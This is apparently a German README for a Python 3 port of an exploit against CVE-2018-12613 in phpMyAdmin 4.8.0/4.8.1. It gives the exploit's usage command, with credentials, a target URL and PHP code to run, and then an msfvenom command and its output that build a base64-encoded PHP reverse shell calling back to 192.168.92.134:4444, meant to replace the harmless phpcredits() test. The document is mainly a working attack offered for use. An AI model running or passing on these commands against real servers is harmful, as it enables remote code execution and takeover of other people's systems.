CVE-2018-12613

Modifizierter eigenständiger Exploit, portiert auf Python 3. Getestet mit Python 3.7.3, phpMyAdmin 4.8.1 unter Ubuntu 16.04. Funktioniert nur unter Linux. Original-Exploit von SSD. Alle Credits an sie.

Vorgenommene Änderungen

1. Funktion hinzugefügt, um zu beenden, wenn der angegebene phpMyAdmin-Benutzername/das Kennwort korrekt ist.
2. Funktion hinzugefügt, um zu prüfen, ob die Version anfällig ist (4.8.0 oder 4.8.1).
3. Variablen streng in Bytes oder Zeichenketten umgewandelt; Python 3 verbietet das Mischen. Siehe hier.

Verwendung:

python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”

Ergebnisse des PHP-Codes werden in results.html gespeichert.

Für Reverse Shell

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php

Verwenden Sie das msfvenom-PHP-Payload anstelle von phpcredits(); oben.

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php

eval(base64_decode(ICAg...gfQo));